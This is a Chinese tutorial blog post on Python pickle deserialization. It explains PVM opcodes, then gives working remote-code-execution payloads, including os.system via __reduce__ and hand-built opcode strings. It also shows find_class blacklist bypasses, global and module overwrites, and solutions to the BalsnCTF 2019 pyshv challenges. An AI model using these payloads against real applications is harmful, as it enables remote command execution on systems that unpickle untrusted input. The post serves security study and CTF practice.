SecMap - 反序列化(Python)
居家隔离实在是太无聊了,更一篇文章吧。
介绍
与 PHP 反序列化类似,Python 反序列化也是为了解决对象传输与持久化存储问题。
相关库和方法
在 Python 中内置了标准库 pickle
/cPickle
(3.x 改名为 _pickle
),用于序列化/反序列化的各种操作(Python 的官方文档中,称其为 封存/解封,意思其实差不多),比较常见的当然是 dumps
(序列化)和 loads
(反序列化)啦。其中 pickle
是用 Python 写的,cPickle
是用 C 语言写的,速度很快,但是它不允许用户从 pickle
派生子类。
1 |
|
结果如下:
1
2b'\x80\x04\x95"\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94\x8c\x01a\x94K\x01sb.'
1
第一行看起来很复杂?马上说到。
PVM
要对序列化、反序列化很清楚的话,一定要了解 PVM,这背后又有非常多的细节。
首先,在调用 pickle 的时候,实际上是 class pickle.Pickler
和 class pickle.Unpickler
在起作用,而这两个类又是依靠 Pickle Virtual Machine(PVM),在更深层对输入进行着某种操作,从而最后得到了那串复杂的结果。
PVM 由三部分组成:
- 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
.
这个结束符后停止(看上面的代码示例,序列化之后的结果最后是.
)。最终留在栈顶的值将被作为反序列化对象返回。需要注意的是:- opcode 是单字节的
- 带参数的指令用换行符来确定边界
- 栈区:用 list 实现的,被用来临时存储数据、参数以及对象。
- 内存区:用 dict 实现的,为 PVM 的整个生命周期提供存储。
最后,PVM 还有协议一说,这里的协议指定了应该采用什么样的序列化、反序列化算法。
PVM 协议
当前共有 6 种不同的协议可用,使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。
- v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python
- v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容
- v2 版协议是在 Python 2.3 中加入的,它为存储 new-style class 提供了更高效的机制(参考 PEP 307)。
- v3 版协议是在 Python 3.0 中加入的,它显式地支持 bytes 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
- v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化(参考 PEP 3154)。它是 Python 3.8 使用的默认协议。
- v5 版协议是在 Python 3.8 中加入的。它增加了对带外数据的支持,并可加速带内数据处理(参考 PEP 574)。
上面那个代码示例,我用的是 py3.8,如果要得到易读的序列化结果,在 dumps 中指定协议版本即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import pickle
class Test:
def __init__(self):
self.a = 1
test = Test()
serialized = pickle.dumps(test, protocol=0) # 指定版本
print(serialized)
unserialized = pickle.loads(serialized) # 注意,loads 能够自动识别反序列化的版本
print(unserialized.a)
结果如下:
1
2b'ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVa\np6\nI1\nsb.'
1
在序列化时,协议版本是自动检测出来的,所以诸如 loads 方法是不需要参数来指定协议的。
由于不同版本在利用的时候没有很大区别,所以本文以最易读的 v0 协议为例。
opcode
opcode 是 PVM 的灵魂,控制整个流程的运行。常用的我给翻译了一下,各位现查现用好了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44MARK = b'(' # 向栈中压入一个 MARK 标记
STOP = b'.' # 程序结束,栈顶的一个元素作为 pickle.loads() 的返回值
POP = b'0' # 丢弃栈顶对象
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # 实例化一个 float 对象
INT = b'I' # 实例化一个 int 或者 bool 对象
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # 栈中压入 None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # push persistent object; id is taken from stack
REDUCE = b'R' # 从栈上弹出两个对象,第一个对象作为参数(必须为元组),第二个对象作为函数,然后调用该函数并把结果压回栈
STRING = b'S' # 实例化一个字符串对象
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # push string; counted binary string argument < 256 bytes
UNICODE = b'V' # 实例化一个 UNICODE 字符串对象
BINUNICODE = b'X' # push Unicode string; counted UTF-8 string argument
APPEND = b'a' # 将栈的第一个元素 append 到第二个元素(必须为列表)中
BUILD = b'b' # 使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性设置,调用 __setstate__ 或 __dict__.update()
GLOBAL = b'c' # 获取一个全局对象或 import 一个模块(会调用 import 语句,能够引入新的包),压入栈
DICT = b'd' # 寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对),弹出组合,弹出 MARK,压回结果
EMPTY_DICT = b'}' # 向栈中直接压入一个空字典
APPENDS = b'e' # 寻找栈中的上一个 MARK,组合之间的数据并 extends 到该 MARK 之前的一个元素(必须为列表)中
GET = b'g' # 将 memo[n] 的压入栈
BINGET = b'h' # push item from memo on stack; index is 1-byte arg
INST = b'i' # 相当于 c 和 o 的组合,先获取一个全局函数,然后从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # 从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为列表
EMPTY_LIST = b']' # 向栈中直接压入一个空列表
OBJ = b'o' # 从栈顶开始寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象),弹出 MARK,压回结果,
PUT = b'p' # 将栈顶对象储存至 memo[n]
BINPUT = b'q' # store stack top in memo; index is 1-byte arg
LONG_BINPUT = b'r' # store stack top in memo; index is 4-byte arg
SETITEM = b's' # 将栈的第一个对象作为 value,第二个对象作为 key,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中
TUPLE = b't' # 寻找栈中的上一个 MARK,并组合之间的数据为元组,弹出组合,弹出 MARK,压回结果
EMPTY_TUPLE = b')' # 向栈中直接压入一个空元组
SETITEMS = b'u' # 寻找栈中的上一个 MARK,组合之间的数据(数据必须有偶数个,即呈 key-value 对)并全部添加或更新到该 MARK 之前的一个元素(必须为字典)中
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
当然,这些都是 v0 协议的 opcode,其他版本的协议会新增/替换一些 opcode,详见资料 2。
以上面那个 b'ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVa\np6\nI1\nsb.'
为例,我们来解读一下这个序列化结果:
1 |
|
我感觉,整个过程有点像语法分析里的 LR 算法,不断移进-规约。
虽然这个结果的可读性好了很多,但是依旧不容易读懂。
所以 Python 官方提供了工具,叫 pickletools
,它的作用主要是:
- 可读性较强的方式展示一个序列化对象(
pickletools.dis
) - 对一个序列化结果进行优化(
pickletools.optimize
)
1 |
|
结果如下:
1 |
|
这个要比自己分析序列化结果清晰多了。
细心的橘友们会注意到,在上面那个人工分析序列化的过程中,memo 一直是只有压入,没有弹出,所以 memo 里的数据压根就用不着,那么也有没必要压入了。所以上面的序列化结果完全可以把 pn
都去掉,再把不需要的 \n
移除,优化为:b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVa\nI1\nsb.'
,我们来执行一下试试:
当然,也可以用 pickletools.optimize
自动优化:
虽然这个优化结果与我们手动优化是一模一样的,但是在遇到复杂的序列化结果时,最好还是用这个方法来搞。
小结
由于在反序列化的时候,这个对象要能在当前环境上下文中创建,所以在实际的利用过程中,那些默认加载的库、标准库(可被自动 import)就成了首选的类,比如 os
,它有 system
方法。
对于 Python 可以被 pickle/unpickle 的对象以及其他一些注意事项,可以参考官方文档,见资料 3
我这里列出几点比较重要的:
- 函数(内置函数或用户自定义函数)在被封存时,引用的是函数全名(这就是为什么
lambda
函数不可以被封存:所有的匿名函数都有同一个名字:<lambda>
)。这意味着只有函数所在的模块名,与函数名会被封存,函数体及其属性不会被封存。因此,在解封的环境中,函数所属的模块必须是可以被导入的,而且模块必须包含这个函数被封存时的名称,否则会抛出异常 - 类也只封存名称,所以在解封环境中也有和函数相同的限制。注意,类体及其数据不会被封存,只有实例数据会被封存,所以在下面的例子中类属性 attr 不会存在于解封后的环境中:
1
2
3
4
5
6import pickle
class Foo:
attr = 'A class attribute'
picklestring = pickle.dumps(Foo) - 当实例解封时,它的
__init__()
方法通常不会被调用。其默认动作是:先创建一个未初始化的实例,然后还原其属性:
1
2
3
4
5
6
7def save(obj):
return (obj.__class__, obj.__dict__)
def load(cls, attributes):
obj = cls.__new__(cls)
obj.__dict__.update(attributes)
return obj
最后需要注意的是,由于 0
的存在,一个序列化字符串可以包含很多个不相关的操作,在后面会有一个例子来说明。
攻击思路
本来打算按照攻击场景来分类的,但是我发现场景太多了,还是按照构造方式分类,攻击手法作为附属示例会比较清晰。
payload 的构造分为用魔术方法自动构造和手动构造(手搓 opcode)。
自动构造
首先,这样序列化肯定是达不到攻击目的的:
1
2
3
4
5
6
7
8
9
10
11
12import pickle
import os
class Test:
def __init__(self):
self.a = os.system("whoami")
test = Test()
serialized = pickle.dumps(test, protocol=0)
print(serialized)
os.system("whoami")
在 test = Test()
就会被执行完毕,所以这个可以说是自己日自己了。
相关魔术方法
上面提到过,解封的时候是有一个默认的赋值过程,既然是默认行为,往往是有办法自定义的。Python 提供了很多魔术方法(比如比较常见的 __reduce__
),来改变这一默认行为。下面一起来看下这些魔术方法都是怎么用的(下面几个方法的介绍,内容大部分都是摘录自官方文档)。
__getnewargs_ex__()
限制:
- 对于使用 v2 版或更高版协议的 pickle 才能使用此方法
- 必须返回一对
(args, kwargs)
用于构建对象,其中args
是表示位置参数的 tuple,而kwargs
是表示命名参数的 dict
__getnewargs_ex__()
方法 return 的值,会在解封时传给 __new__()
方法的作为它的参数。
__getnewargs__()
限制:
- 必须返回一个 tuple 类型的
args
- 如果定义了
__getnewargs_ex__()
,那么__getnewargs__()
就不会被调用。
这个方法与上一个 __getnewargs_ex__()
方法类似,但只支持位置参数。
注:在 Python 3.6 前,v2、v3 版协议会调用 __getnewargs__()
,更高版本协议会调用 __getnewargs_ex__()
__getstate__()
类还可以进一步控制实例的封存过程。如果类定义了 __getstate__()
,它就会被调用,其返回的对象是被当做实例内容来封存的,否则封存的是实例的 __dict__
。如果 __getstate__()
未定义,实例的 __dict__
会被照常封存。
__setstate__()
当解封时,如果类定义了 __setstate__()
,就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 __dict__
如果 __getstate__()
返回 False
,那么在解封时就不会调用 __setstate__()
方法。
所以可以这么理解,pickle 时,Python 会封存该实例的 __getstate__
方法返回给它的值;unpickle 时,Python 将 unpickle 后的值作为参数传递给实例的 _setstate_()
方法。而在 _setstate_()
方法内部,是按照事先自定义好的流程来重建实例。
__reduce__()
限制:
__reduce__
方法是新式类特有的
opcode R
其实就是 __reduce__()
__reduce__()
方法不带任何参数,并且应返回字符串或最好返回一个元组(返回的对象通常称为 “reduce 值”)。
如果返回字符串,该字符串会被当做一个全局变量的名称。它应该是对象相对于其模块的本地名称,pickle 模块会搜索模块命名空间来确定对象所属的模块。这种行为常在单例模式使用。
如果返回的是元组,则应当包含 2 到 6 个元素,可选元素可以省略或设置为 None。每个元素代表的意义如下:
- 一个可调用对象,该对象会在创建对象的最初版本时调用。
- 可调用对象的参数,是一个元组。如果可调用对象不接受参数,必须提供一个空元组。
- 可选元素,用于表示对象的状态,将被传给前述的
__setstate__()
方法。如果对象没有此方法,则这个元素必须是字典类型,并会被添加至__dict__
属性中。 - 可选元素,一个返回连续项的迭代器(而不是序列)。这些项会被
obj.append(item)
逐个加入对象,或被obj.extend(list_of_items)
批量加入对象。这个元素主要用于 list 的子类,也可以用于那些正确实现了append()
和extend()
方法的类。(具体是使用append()
还是extend()
取决于 pickle 协议版本以及待插入元素的项数,所以这两个方法必须同时被类支持) - 可选元素,一个返回连续键值对的迭代器(而不是序列)。这些键值对将会以
obj[key] = value
的方式存储于对象中。该元素主要用于 dict 子类,也可以用于那些实现了__setitem__()
的类。 - 可选元素,一个带有
(obj, state)
签名的可调用对象。该可调用对象允许用户以编程方式控制特定对象的状态更新行为,而不是使用 obj 的静态__setstate__()
方法。如果此处不是 None,则此可调用对象的优先级高于 obj 的__setstate__()
。
3.8 新版功能: 新增了元组的第 6 项,可选元素 (obj, state)
可以看出,其实 pickle 并不直接调用上面的几个函数。事实上,它们实现了 __reduce__()
这一特殊方法。尽管这个方法功能很强,但是直接在类中实现 __reduce__()
容易产生错误。因此,设计类时应当尽可能的使用高级接口(比如 __getnewargs_ex__()
、__getstate__()
和 __setstate__()
)。后面仍然可以看到直接实现 __reduce__()
接口的状况,可能别无他法,可能为了获得更好的性能,或者两者皆有之。
__reduce_ex__()
作为替代选项,也可以实现 __reduce_ex__()
方法。此方法的唯一不同之处在于它接受一个整型参数用于指定协议版本。如果定义了这个函数,则会覆盖 __reduce__()
的行为。此外,__reduce__()
方法会自动成为扩展版方法的同义词。这个函数主要用于为以前的 Python 版本提供向后兼容的 reduce 值。
利用 __reduce__() 自动生成
这里举一个简单的执行命令的 demo。
显然,在上面那么多方法中,__reduce__()
是我们的首选构造方案,demo 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13import pickle
import os
class Test:
def __reduce__(self):
return (os.system, ("whoami", ))
test = Test()
serialized = pickle.dumps(test, protocol=0)
print(serialized)
结果:b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
当然,新式类是 3.x 才有的。如果要在 2.x(>= 2.2,< 2.2 无新式类)使用 __reduce__
的话,需要手动显式继承新式类,把 class Test
改为 class Test(object)
即可。
如果攻击目标可以传入任意序列化结果,那么这个 payload 直接就可以生效。这种攻击最为简单,在 CTF 中,有利用黑名单 ban 掉 system 等等函数的题目,思路就是寻找黑名单的漏网之鱼。
避免使用特定的 opcode
如果攻击目标有对传入的序列化结果做高危 opcode 判断的话,可以尝试用不同版本的协议:
这种差异性或许能让我们绕过一些 if 判断。不过,诸如 R
这种比较必需的 opcode,一般是很难用其他 opcode 来直接代替的。
souse
为了方便构造 Payload,我写了一个自动转化的工具:souse,可以将 Python 源码形式的 exp 转为 opcode 形式的 exp,可冲!
不过,在用工具之前一定要先看下如何根据利用链手搓 opcode,毕竟工具只是工具而已。
网上也有另一个自动构造工具,见资料 4。
手动构造
手动构造需要对 opcode 比较了解(实际上用几次就熟练了)。由于自动构造的手法手动构造都可以做到,所以为了避免内容重复,这里只列举手动构造特有攻击的手法。
全局引用
举个例子:
1
2
3
4
5
6
7import secret
class Target:
def __init__(self):
obj = pickle.loads(ser) # 输入点
if obj.pwd == secret.pwd:
print("Hello, admin!")
在这个例子中,假如我就是想通过这个 if 来完成攻击,应该怎么实现呢?
先看自动构造,比较直接的思路就是:
1
2
3
4
5
6
7
8
9
10
11
12
13class secret:
pwd = "???"
class Target:
def __init__(self):
self.pwd = secret.pwd
test = Target()
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)
# 结果
# b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV???\nsb.'
这个犯了和上面那个命令执行相同的错误,在实例化 Target 的时候,self.pwd
就已经被赋值完成了,而这肯定是有问题的,因为你不知道 secret.pwd
到底是啥(这里加个 class secret
只是为了代码可以运行)。
这个时候,我们可以利用 c
这个 opcode 来完成攻击。c
其实就是 pickle.Unpickler().find_class(module, name)
。
它的作用是导入 module 模块并返回其中名叫 name
的对象,其中 module 和 name 参数都是 str 对象。文档指出,find_class()
同样可以用来导入函数。
既然如此,我们就可以把攻击目标类中引用的 secret.pwd
用 c
拿进来:
1
2
3
4# 前后对比
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV???\nsb.'
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'
丢进去看看:
nice
引入魔术方法
举个 RCE 的例子:
1
2
3
4
5
6
7class Target:
def __init__(self):
ser = "" # 输入点
if "R" in ser:
print("Hack! <=@_@")
else:
obj = pickle.loads(ser)
对于这个例子来说,要想 RCE,需要过这里的 if,也就是不能用 R
。
先来看下常规的 payload 是什么样的:
1
2cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.
^
这 R 如何去除呢?b
就派上用场了。
回顾一下它的作用:使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性/方法的设置。既然可以设置实例的方法,那么能不能设置一个方法让它在反序列化的时候自动运行呢?什么方法会在反序列化的时候自动运行,答案是上面提到的 __setstate__()
。
所以,我们只需要令 __setstate__ = os.system
,再把参数传入即可:
1
ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dV__setstate__\ncos\nsystem\nubVwhoami\nb.
但是我们把执行函数的那个 R 去掉之后,由于要构建实例,又引入了一个新的 R。用前面提到过的,修改协议版本即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14\x80\x02c__main__\nTest\n)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.
# pickletools.dis 如下
0: c GLOBAL '__main__ Test'
15: ) EMPTY_TUPLE
16: \x81 NEWOBJ
17: } EMPTY_DICT
18: ( MARK
19: V UNICODE '__setstate__'
33: c GLOBAL 'os system'
44: u SETITEMS (MARK at 18)
45: b BUILD
46: V UNICODE 'whoami'
54: b BUILD
55: . STOP
\x80\x02
是协议的版本声明,可写可不写,写错了也不影响 Python 识别;\x81
其实就是通过 cls.__new__
来创建一个实例,需要栈顶有 args(元组) 和 kwds(字典)。
find_class 黑名单绕过
Python 的官方文档里,明确表示了 pickle 是不保证安全性的,所以数据一定要可信才能进行 unpickle
同时,也给出了安全使用 pickle 的最佳实践:
当序列化中 opcode 出现 c
、i
、b'\x93'
时,会调用 find_class。利用白名单方法来限制解封的对象一般是没问题的。但是如果用黑名单,就容易出现疏漏,攻击的思路就是用 mro 来层层深入寻找黑名单以外的模块、方法,与我之前写的《Python 沙箱逃逸的经验总结》(见资料 1)里提到的技巧如出一辙,我这里就不啰嗦了。
如果你经常打 CTF,就会发现现在 Python 反序列化的题目基本上都要用到 find_class,后面会有一些经典的题目。作为题目难度控制器,需要和其他场景联合起来去看如何绕过,所以我这里就不单独举例说明了。
变量与方法覆盖
举个例子:
1
2
3
4
5
6
7
8PWD = "???" # 已打码
class Target:
def __init__(self):
obj = pickle.loads(ser) # 输入点
if obj.pwd == PWD:
print("Hello, admin!")
这个时候,可以通过 import builtins
来覆盖 globals
里的 PWD
,转成代码就是这样:
1
2
3
4
5import builtins
builtins.globals()["PWD"] = "tr0y" # 先把 PWD 改成一个值
obj.pwd = "tr0y" # 再让 obj.pwd 也等于这个值
转成 opcode 就是:cbuiltins\nglobals\n(tR(VPWD\nVtr0y\nu.
,但是还有一个问题,此时 obj 实际上是字典,它并没有 pwd 这个属性,所以在 if 判断的时候就会直接报错。
解决的办法就是用 0
把栈里的 builtins.globals()
弹出,它已经完成了自己修改 PWD 值的使命;然后再压入一个 Target 实例,并让它的 pwd 属性等于 tr0y,这样就可以让 obj.pwd
的值与 PWD 一致:
1
2cbuiltins\nglobals\n(tR(VPWD\nVtr0y\nu0c__main__\nTarget\n)\x81}(Vpwd\nVtr0y\nub.
^
这里你可能会想,builtins.globals()
是字典,而 Python 中一切皆对象,那么这个字典也是一个实例,这样岂不是也可以用 b
来给这个字典新增一个属性?这样 payload 就简洁得多:
1
cbuiltins\nglobals\n(tR(VPWD\nVtr0y\nu}(Vpwd\nVtr0y\nub.
遗憾的是,前面提到过,b
是执行 __dict__.update()
,而字典是没有 __dict__
这个属性的,所以没法通过 b 给它新增一个属性:
当然,不仅变量可以被覆盖,方法也是可以被覆盖的。比如 sys.modules.get("os")
,可以先用代码理清楚链路:
1
2
3
4
5import sys
p0 = sys.modules
p0["sys"] = p0
import sys
p0["sys"] = sys.get("os")
转成 opcode:
1
csys\nmodules\np0\n0g0\nVsys\ng0\nscsys\nget\n(Vos\ntR.
注意这里的 import 了两次,只有第一次是真正执行了 sys 模块,然后载入内存,第二次是从 sys.modules 直接引入的。这个特性与 Python import 协议有关系,它由两个模块构成,查找器和加载器。导入详细机制可看资料 5。
所以,这个思路要求对 Python 内置的一些属性、方法、模块有扎实的掌握。比如按照 Python 文档的意思来看,属性包括 数据属性
和 方法
,所以严格来说,我们常说的属性
一词,其实特指 数据属性
(这一点没必要太纠结,反正大家都是这么说的)。还有,大家可能习惯性用 dir()
来查看属性和方法,其实它在参数不同的时候,查询的逻辑是不一样的:
我一般是在 ipython 中用 .*?
来查看,例如 os.*?
,这个结果是非常全的。
另外特别注意的是,有些对象的 __dict__
属于 mappingproxy
类型,例如:
如果直接用 b
这种对象进行属性修改的话,会抛出异常:
查看 pickle 的源码(见资料 6)可知(注:pickle 源码中有 _pickle
(即 cPickle)优先使用的逻辑,如果这个模块导入失败,才会使用这上面的 pickle。这两个模块的逻辑略有差异,如果想仔细对比需要看下 _pickle
的 C 源码),最终会执行 inst_dict[intern(k)] = v
,而 mappingproxy 类型禁止这样操作:
那么应该怎么办呢?再看源码,如果 state
是两个元素的元组,那么会执行 state, slotstate = state
,如果此时 state in [None, {}]
(由于 _pickle
逻辑问题,是没办法让 state 等于 ''
、0
等这种值的),那么就会跑去执行 setattr(inst, k, v)
,这是 mappingproxy 类型允许的:
所以,假如有一个库是 A,里面有个类 b,要修改 b 的属性,原本要执行的 cA\nb\n}Va\nI1\nsb.
应该改为 cA\nb\n(N}Va\nI1\ntsb.
或者 cA\nb\n(}}Va\nI1\ntsb.
课后题
这三道题目是 2019 年的 BalsnCTF,非常经典的 Python 反序列化题,源码见资料 7
pyshv1
1 |
|
限制条件如下:
- 只能引入 sys 模块
- 方法中不能有
.
这题比较简单,利用方法覆盖的思路,sys.modules.get("os").system("whoami")
就可以了,转为 opcode 即为:
1
2
3
4csys\nmodules\np0\n0g0\nVsys\ng0\nscsys\nget\n(Vos\ntR # 到这里和上面方法覆盖中的 payload 一样
p1\n0 # 把 os 存下来先,然后清空栈
g0\nVsys\ng1\ns # 引入 sys.modules 并令 sys.modules["sys"] = os,这个思路还是方法覆盖
csys\nsystem\n(Vwhoami\ntR. # 执行命令
在经过两轮覆盖 sys 之后,就可以执行任意命令了:
pyshv2
1 |
|
这道题难度提升了不少。限制如下:
- 只能引入 structs 模块
- 方法中不能有
.
上一道题利用方法覆盖,依赖的是可引入模块中的某些特殊方法。我们先来看下 structs
都有哪些属性:
再看下都有哪些方法:
__builtins__
、__getattribute__
都是好东西。
思路首先可以是 structs.__builtins__["eval"]("__import__('os').system('whoami')")
,可是这里的 "eval"
是不好 get 的。
我们可以从后往前推。
("__import__('os').system('whoami')")
,这个好解决,用 c
就行了。重点是 structs.__builtins__["eval"]
这个怎么搞出来。由于自定义的 find_class 用到了 __import__
,所以 cstructs\n__builtins__
就会执行 __import__("structs")
。那么可以这样,首先,给 structs 加一个属性:structs.__dict__["p0"] = structs.__builtins__
,再解开一层,给 structs 加一个属性:structs.__dict__["p1"] = structs.__dict__["p0"].get
,那么 cstructs\np1\n(Veval\ntR.
就会执行 structs.__builtins__.get("eval")
,所以这里的 opcode 就是:
1
2
3
4cstructs\n__dict__\np0
(Vp0\ncstructs\n__builtins__\ns
(Vp1\ng0.get\ns # 这里是不行的
cstructs\np1\n(Veval\ntR(V__import__('os').system('whoami')\ntR.
遗憾的是,opcode 是不支持用 .
来取属性/方法的。
所以现在的问题就变成了,.get
这个方法怎么搞出来。
再看下 find_class:
1
2module = __import__(module)
return getattr(module, name)
所以如果 module 是一个字典的话,那么 name 就可以置为 get,即 __import__("structs")
的结果应该是一个字典。而 __import__
是可以被替换的,__getattribute__
就派上了用场,令 structs.__builtins__['__import__'] = structs.__getattribute__
。所以,我们还得给 structs 新增一个 structs 属性:structs.__dict__["structs"] = structs.__builtins__
。
到这里:
__import__(module)
等于
structs.__getattribute__("structs")
等于
structs.__builtins__
所以 module 已经是 structs.__builtins__
了,只需要让 name = "get"
即可拿到 eval
:
1
2
3
4
5
6
7
8
9
10
11
12
13# structs.__dict__["structs"] = structs.__builtins__
cstructs\n__dict__\nVstructs\ncstructs\n__builtins__\ns0
# structs.__builtins__['__import__'] = structs.__getattribute__
cstructs\n__builtins__\nV__import__\ncstructs\n__getattribute__\ns0
# get eval
cstructs\nget\n(Veval\ntR(V
# get flag
# 收工
\ntR.
这样即可获得 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23import structs
import pickle
import io
whitelist = ["structs"]
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)
dumps = pickle.dumps
a = b'''cstructs\n__dict__\nVstructs\ncstructs\n__builtins__\ns0cstructs\n__builtins__\nV__import__\ncstructs\n__getattribute__\ns0cstructs\nget\n(Veval\ntR(''' + \
b'''Vprint(open("./flag").read())\ntR.'''
b = RestrictedUnpickler(io.BytesIO(a)).load()
print(b)
如果只是为了拿到 flag,用 open("./flag").read()
也可以。但我们总是会想想能不能 RCE,那么这道题可以 RCE 吗?你可能会想,opcode 里面已经把 __import__
污染了,所以没法 import 其他的包来 RCE。
实际上是可以的。同样,在我之前写的《Python 沙箱逃逸的经验总结》(见资料 1)里有用 mro 来实现无 import 执行任意命令的方法。我这里就不啰嗦了,直接给出 opcode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14# structs.__dict__["structs"] = structs.__builtins__
cstructs\n__dict__\nVstructs\ncstructs\n__builtins__\ns0
# structs.__builtins__['__import__'] = structs.__getattribute__
cstructs\n__builtins__\nV__import__\ncstructs\n__getattribute__\ns0
# get eval
cstructs\nget\n(Veval\ntR(V
# 利用 mro 寻找可利用的模块,这里以 sys 为例
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == "_Printer"][0]._Printer__setup.__globals__['sys'].modules.get("os").system("whoami")
# 收工
\ntR.
pyshv3
1 |
|
这道题也比较难。限制如下:
- 只能引入 structs 模块
- 方法中不能有
.
- 无法 import 额外的模块。所以要想拿到 flag,
self.user.privileged
需要不为 False
由于 user.privileged = False
是在反序列化之后运行的,所以就算覆盖了 struct 的 privileged,也会被强制改回来。
我们知道,Python 的点运算符,背后实际上是各种描述器在起作用,而描述器其实由 __getattribute__()
方法调用的。所以这里的思路就是修改描述器使得 .
的行为可控。对于描述器我们并不陌生,如果你没用过,可以看下官方文档,见资料 8。
如果一个对象定义了 __set__()
或 __delete__()
,则它会被视为数据描述器。 仅定义了 __get__()
的描述器称为非数据描述器。
其中,__set__()
决定了赋值时的行为,所以我们能不能通过重载 __set__
使得 user.privileged = False
失效呢?
那么这个时候可以等价为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14class User(object):
def __init__(self, name, group):
self.name = name
self.group = group
self.isadmin = 0
self.prompt = ''
user = User("tr0y", "root")
# 在这里面写入合适的语句
user.privileged = False
print(user.privileged) # 使得 user.privileged == True
首先,__set__
应该赋予一个 callable(废话),这个 callable 是比较有讲究的:
- 必须要有三个参数,执行
user.privileged = False
的时候,分为用于接收user
、privileged
、False
- 返回值必须不为广义的 False(什么 None 啊、"" 啊,都算广义的 False)
- 调用的源头必须在一个类中
那么在这道题目中,User 这个类本身正好符合要求,所以可以这么写:User.__set__ = User
。但是如果只写这一句的话,你会发现还是无法改变 user.privileged = False
的行为。
这个时候就需要看下 __set__
到底如何改变 Python 赋值行为的。对于 obj.attr = value
(在对属性赋值时),Python 的查找策略是这样的:查找 obj.__class__.__dict__
,如果 attr 存在并且是一个数据描述器,调用 attr 的 __set__
方法,结束。如果不存在,会继续到 obj.__class__
的父类和祖先类中查找,找到数据描述器则调用其 __set__
方法,没找到则执行 obj.__dict__['attr'] = value
。
所以我们应该还要加一句 User.privileged = User("tr0y", "root")
保证 user.__class__.__dict__
已经有了 privileged
并且是一个数据描述器,这样就会走到 __set__
。橘友们可能会问,那为什么不能 user.privileged = User("tr0y", "root")
这么写呢?原因在于,privileged 这个属性是不存在于 user
的,所以会继续在父类中找,而父类也没有这个属性,所以直接执行的是 user.__dict__['privileged'] = User("tr0y", "root")
,这样是起不到作用的。同时由于 flag 并不存在于 user.__class__.__dict__
里,且父类的 User 也没有 flag 这个属性,所以 flag 这个属性是正常赋值的。
这样的话,我们要加的语句应该是:
1
2User.__set__ = User
User.privileged = User("tr0y", "root")
最后的最后,由于 structs.User.__dict__
是 mappingproxy 类型,所以需要用到变量覆盖里提到的那个 tip
综上,转为 opcode 就是:
1
2
3
4
5
6
7
8
9
10
11# 新增 __set__
cstructs\nUser\n(N}V__set__\ncstructs\nUser\nstb
0 # 弹出
# 新增 privileged
cstructs\nUser\n(N}Vprivileged\ncstructs\nUser\n(Vtr0y\nVroot\ntRstb
0 # 弹出
# 返回 structs.User 实例
cstructs\nUser\n(Vtr0y\nVroot\ntR.
# 最终 payload
